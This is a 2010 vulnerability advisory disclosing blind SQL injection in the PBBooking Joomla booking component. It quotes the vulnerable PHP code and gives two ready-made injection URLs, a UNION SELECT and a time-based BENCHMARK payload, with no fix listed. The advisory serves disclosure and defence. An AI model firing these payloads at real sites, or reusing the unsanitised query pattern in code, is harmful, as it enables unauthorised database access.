PBBooking 1.0.4_3 Joomla Component Multiple Blind SQL Injection

2010-07-29T00:00:00
ID SECURITYVULNS:DOC:24361
Type securityvulns
Reporter Securityvulns
Modified 2010-07-29T00:00:00

Description

PBBooking 1.0.4_3 Joomla Component Multiple Blind SQL Injection

Name PBBooking Vendor http://sourceforge.net/projects/pbbooking/ Versions Affected 1.0.4_3

Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-07-29

X. INDEX

I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX

I. ABOUT THE APPLICATION


A simple, easy to use, calendaring and booking component for Joomla. PBBooking offers live calendar integration both for reading availability and for writing appointments back to your calendar.

II. DESCRIPTION


Some parameters are not properly sanitised before being used in SQL queries.

III. ANALYSIS


Summary:

A) Multiple Blind SQL Injection

A) Multiple Blind SQL Injection


The parameters timeslot and id passed to controller.php when the task option is set respectively to save and validate, are not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Affected code for id parameter:

function validate() {

$pendingid = JRequest::getVar('id');
$email = JRequest::getVar('email');

$sql = "select * from #__pbbooking_pending where id =

".$pendingid;

Maybe, the injection caused by the id parameter may be carried to a normal SQL injection, but because of some errors in calendar.php, currently it is not possible. Are them errors present only on my webserver? If no, try the following injection:

index.php?option=com_pbbooking&task=validate&email=ola@ola.com&id=-1 UNION SELECT 1,'ola@ola.com',3,4,5,6,7,8,9

IV. SAMPLE CODE


A) Multiple Blind SQL Injection

http://site/path/index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))

V. FIX


No fix.